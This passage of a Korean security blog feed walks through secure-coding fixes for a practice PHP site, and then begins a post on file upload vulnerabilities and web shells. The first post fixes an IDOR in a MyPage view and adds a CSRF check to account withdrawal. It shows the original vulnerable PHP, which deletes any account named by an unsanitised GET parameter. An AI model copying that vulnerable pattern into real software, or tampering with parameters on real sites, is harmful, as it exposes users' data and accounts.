&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;240&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EcMos/btsMxF2OJ9e/tZwGGp1ToW4TaP9DmqKIjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EcMos/btsMxF2OJ9e/tZwGGp1ToW4TaP9DmqKIjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EcMos/btsMxF2OJ9e/tZwGGp1ToW4TaP9DmqKIjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEcMos%2FbtsMxF2OJ9e%2FtZwGGp1ToW4TaP9DmqKIjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;835&quot; height=&quot;240&quot; data-origin-width=&quot;835&quot; data-origin-height=&quot;240&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 id 파라미터 수정을 통한 개인 정보 무단 열람에 대해 시큐어 코딩을 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에는 본인 계정의 MyPage 에서 id 파라미터를 타 사용자를 입력하게 되면 해당 사용자의 개인 정보를 무단으로 열람할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mypage.php 에서 id 파라미터(사용자 입력값)를 받는 것이 아닌, 세션을 통해서 접속할 수 있도록 코드를 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 에 세션 ID 받도록 코드 수정 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740561117030&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	#$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$id = $_SESSION[&quot;id&quot;];
	$gubun = $_POST[&quot;gubun&quot;];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 MyPage 에서 id 파라미터 admin 을 입력해도 여전히 해커 계정의 MyPage 로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전과 달리 id 파라미터의 값을 받는것이 아닌 사용자의 세션 ID를 받기 때문에 admin 의 MyPage 무단 열람이 불가능해진 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1535&quot; data-origin-height=&quot;1006&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EwEMg/btsMw6s48ky/COpcA0UKEEgookDyPW6RnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EwEMg/btsMw6s48ky/COpcA0UKEEgookDyPW6RnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EwEMg/btsMw6s48ky/COpcA0UKEEgookDyPW6RnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEwEMg%2FbtsMw6s48ky%2FCOpcA0UKEEgookDyPW6RnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1535&quot; height=&quot;1006&quot; data-origin-width=&quot;1535&quot; data-origin-height=&quot;1006&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 통해 요청값을 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 파라미터에는 admin 을 입력했지만,&amp;nbsp; hacker 의 세션 ID 이므로 admin 이 아닌&amp;nbsp; hacker 사용자의 MyPage 가 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1350&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4fnqh/btsMx5fZEBk/K74pDp1pOHqwBige1FqdAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4fnqh/btsMx5fZEBk/K74pDp1pOHqwBige1FqdAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4fnqh/btsMx5fZEBk/K74pDp1pOHqwBige1FqdAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4fnqh%2FbtsMx5fZEBk%2FK74pDp1pOHqwBige1FqdAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1350&quot; height=&quot;317&quot; data-origin-width=&quot;1350&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MyPage 버튼의 링크 부분도 수정해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;245&quot; data-origin-height=&quot;64&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRCcqA/btsMxIkWLva/z8odyQ87rlnVPYlDRv1eBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRCcqA/btsMxIkWLva/z8odyQ87rlnVPYlDRv1eBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRCcqA/btsMxIkWLva/z8odyQ87rlnVPYlDRv1eBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRCcqA%2FbtsMxIkWLva%2Fz8odyQ87rlnVPYlDRv1eBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;245&quot; height=&quot;64&quot; data-origin-width=&quot;245&quot; data-origin-height=&quot;64&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php 에서 mypage 링크를 불러오는 코드를 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를&lt;/p&gt;
&lt;pre id=&quot;code_1740562420278&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class=&quot;p-2 text-dark&quot; href=&quot;index.php?page=mypage&amp;amp;id=&amp;lt;?=$_SESSION[&quot;id&quot;]?&amp;gt;&quot;&amp;gt;MyPage&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 수정한다.&lt;/p&gt;
&lt;pre id=&quot;code_1740562450446&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;a class=&quot;p-2 text-dark&quot; href=&quot;index.php?page=mypage&quot;&amp;gt;MyPage&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 MyPage 접속 시 다음과 같이 id 파라미터가 없는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPcXlf/btsMxHsM853/uNLEDvMrd2Kn2SVDK7fnbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPcXlf/btsMxHsM853/uNLEDvMrd2Kn2SVDK7fnbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPcXlf/btsMxHsM853/uNLEDvMrd2Kn2SVDK7fnbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPcXlf%2FbtsMxHsM853%2FuNLEDvMrd2Kn2SVDK7fnbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;826&quot; height=&quot;526&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 타 사용자를 강제로 탈퇴시키는 부분에 대해 시큐어 코딩을 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 CSRF 시큐어 코딩에 사용했던 코드를 그대로 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에는 $id 변수에 id 파라미터의 값을 받아서 SQL 쿼리로 DB에 전달하는 방식을 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경된 코드에는 현재 접속한 사용자의 세션 ID 를 받아서 SQL 쿼리로 DB에 전달하기때문에, 이전과 달리 id 파라미터를 변조해도 다른 사용자가 회원탈퇴가 되는 것이 아닌 현재 접속한 본인 계정이 회원탈퇴가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; 기존 withdrawal.php 코드 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740563171767&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    @session_start();
    include_once(&quot;./common.php&quot;);

    unset($_SESSION[&quot;id&quot;]);
    session_destroy();
    
    $db_conn = mysql_conn();
    $id = $_GET[&quot;id&quot;];

    $query = &quot;delete from members where id='{$id}'&quot;;
	$result = $db_conn-&amp;gt;query($query);

    echo &quot;&amp;lt;script&amp;gt;location.href='index.php'&amp;lt;/script&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; 시큐어 코딩이 적용된 withdrawal.php 코드 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740563197055&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
    @session_start();
    include_once(&quot;./common.php&quot;);

    $db_conn = mysql_conn();

    $csrf_token_session = $_SESSION[&quot;csrf_token&quot;];
    $csrf_token_param = $_GET[&quot;csrf_token&quot;];

    if(empty($csrf_token_session) &amp;amp;&amp;amp; empty($csrf_token_param)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
	}

    $query = &quot;delete from members where id='{$_SESSION[&quot;id&quot;]}'&quot;;
	$result = $db_conn-&amp;gt;query($query);

    unset($_SESSION[&quot;csrf_token&quot;]);
    unset($_SESSION[&quot;id&quot;]);
    session_destroy();

    echo &quot;&amp;lt;script&amp;gt;location.href='index.php'&amp;lt;/script&amp;gt;&quot;;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 위 소스코드는 CSRF 토큰이 필요하므로, mypage.php 에도 CSRF 토큰 관련 코드를 추가해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 에 csrf 토큰 코드 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740563410479&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-danger&quot; onclick=&quot;if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?csrf_token=&amp;lt;?=$csrf_token?&amp;gt;'&quot;&amp;gt;회원탈퇴하기&amp;lt;/button&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트를 사용하여 해커 계정의 탈퇴를 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U2Ual/btsMy3aAB1F/Gs6qtKrGo9ZxrGxaCKaLPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U2Ual/btsMy3aAB1F/Gs6qtKrGo9ZxrGxaCKaLPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U2Ual/btsMy3aAB1F/Gs6qtKrGo9ZxrGxaCKaLPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU2Ual%2FbtsMy3aAB1F%2FGs6qtKrGo9ZxrGxaCKaLPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1369&quot; height=&quot;346&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;id 파라미터를 받지 않고 현재 접속한 사용자의 CSRF 토큰을 받는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;설령 저 부분에 id=admin 을 추가해도 관리자 계정은 회원 탈퇴되지 않고 해커 계정만 회원탈퇴가 된다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;( 소스코드에서 id 파라미터를 받지않고 세션 ID를 받기 때문에 )&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1594&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uHrIh/btsMx5mN08L/0kUQZ1j36eRWhOLpiPKuP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uHrIh/btsMx5mN08L/0kUQZ1j36eRWhOLpiPKuP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uHrIh/btsMx5mN08L/0kUQZ1j36eRWhOLpiPKuP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuHrIh%2FbtsMx5mN08L%2F0kUQZ1j36eRWhOLpiPKuP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1594&quot; height=&quot;338&quot; data-origin-width=&quot;1594&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;해커 계정으로 로그인을 요청하니 회원탈퇴가 되어서 다음과 같이 로그인이 불가한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;231&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDmUBi/btsMy4tNaMI/dpitVsPSp6ptoZ5Q9z3sKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDmUBi/btsMy4tNaMI/dpitVsPSp6ptoZ5Q9z3sKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDmUBi/btsMy4tNaMI/dpitVsPSp6ptoZ5Q9z3sKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDmUBi%2FbtsMy4tNaMI%2FdpitVsPSp6ptoZ5Q9z3sKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;840&quot; height=&quot;231&quot; data-origin-width=&quot;840&quot; data-origin-height=&quot;231&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;MySQL 에서 확인해보니 admin 계정은 존재하고 hacker 계정은 확인되지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wagpY/btsMxkLv5Ow/Qv3JjC2KYho0oaPlDBAfKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wagpY/btsMxkLv5Ow/Qv3JjC2KYho0oaPlDBAfKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wagpY/btsMxkLv5Ow/Qv3JjC2KYho0oaPlDBAfKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwagpY%2FbtsMxkLv5Ow%2FQv3JjC2KYho0oaPlDBAfKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;127&quot; data-origin-width=&quot;760&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <category>취약점</category>
      <category>파라미터 변조</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/213</guid>
      <comments>https://it-log.tistory.com/213#entry213comment</comments>
      <pubDate>Wed, 26 Feb 2025 22:00:57 +0900</pubDate>
    </item>
    <item>
      <title>파일 업로드 취약점</title>
      <link>https://it-log.tistory.com/212</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) 파일 업로드 취약점이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 취약점(File Upload Vulnerability)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파일 업로드 기능에 대해서 발생하는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격자는 비정상 파일을 업로드하여 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- OS Command Injection 과 동일한 효과를 가지고 있는 취약점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상 파일: 일반 파일(서버 사이드 스크립트로 작성되지 않은)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비정상 파일: 서버 사이드 스크립트(악성 스크립트)로 작성된 웹쉘 코드 &amp;rarr; 원격 서버에 시스템 명령 실행 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 서버 사이드 스크립트(악성 스크립트)로 작성된 웹쉘 업로드를 통해서, 웹 서버를 경유하여 내부 네트워크 까지 침투하여 공격자가 목표하는 행위를 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대응방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시큐어코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- WAF&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹쉘 차단/모니터링 솔루션&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OS Command Injection 과 파일 업로드 취약점의 차이&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS Command Injection 은 특정 웹 사이트(관리자 페이지 등)에서만 가능하여 웹 취약점 발견 및 발생 가능성이 낮다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 취약점은 파일을 업로드 기능에 대한 취약점으로, 파일 업로드 기능을 가진 웹 사이트가 잠재적 위험에 노출되어 있다는 의미이다. 대부분의 웹 사이트는 파일 업로드 기능을 가지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1453&quot; data-origin-height=&quot;653&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/k36s7/btsMfrJ3Uh2/kjbREW0zjG5pLVcH2svP81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/k36s7/btsMfrJ3Uh2/kjbREW0zjG5pLVcH2svP81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/k36s7/btsMfrJ3Uh2/kjbREW0zjG5pLVcH2svP81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fk36s7%2FbtsMfrJ3Uh2%2FkjbREW0zjG5pLVcH2svP81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1453&quot; height=&quot;653&quot; data-origin-width=&quot;1453&quot; data-origin-height=&quot;653&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 웹 서버에 침투 &amp;rarr; 시스템 명령 실행 가능. 웹 서버에 대한 제어권 획득&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 내 중요정보 및 서버 설정 파일 열람 가능, 인근 동일 네트워크 상에 있는 서비스에 대한 정보 획득&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 취약점은 공격자가 원하는 행위를 할 수 있는 수단으로 이용됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
